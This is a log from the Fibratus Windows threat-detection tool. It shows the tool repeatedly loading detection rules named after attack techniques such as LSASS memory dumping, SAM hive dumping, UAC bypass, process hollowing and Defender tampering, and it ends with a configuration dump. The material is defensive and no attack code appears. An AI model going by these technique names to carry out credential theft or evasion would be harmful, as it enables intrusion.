C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:18:16+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-23T01:18:16+01:00 level=info msg=bootstrapping with pid 6740. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-23T01:18:16+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ content-type=>text/html enabled=>false port=>25 use-template=>true to=>[]] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-audit-api=>true enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-thread=>true max-buffers=>36 enable-threadpool=>false enable-mem=>false stack-enrichment=>true enable-handle=>false buffer-size=>512 enable-registry=>true enable-dns=>false flush-interval=>1s enable-image=>true enable-net=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 level=>info max-size=>100 log-stdout=>true max-backups=>15] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] elasticsearch=>[ healthcheck-timeout=>5s sniff=>false enabled=>false flush-period=>1s template-name=>fibratus trace-log=>false gzip-compression=>false healthcheck-interval=>10s timeout=>5s healthcheck=>true index-name=>fibratus bulk-workers=>1 servers=>[http://127.0.0.1:9200]] eventlog=>[ enabled=>false level=>info] amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient vhost=>/ durable=>false exchange-type=>topic tls-insecure-skip-verify=>false exchange=>fibratus passive=>false routing-key=>fibratus timeout=>5s enabled=>false] http=>[ endpoints=>[] timeout=>5s method=>POST enable-gzip=>false serializer=>json enabled=>false tls-insecure-skip-verify=>false]] + pe ............................. [ read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-mmaps=>false excluded-procs=>[] skip-registry=>false skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-files=>false fastscan=>true scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-23T01:18:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:18:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T01:18:55+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T01:18:56+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:18:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T01:22:58+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_mmc_dll_hijack.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-23T01:22:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T01:24:58+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 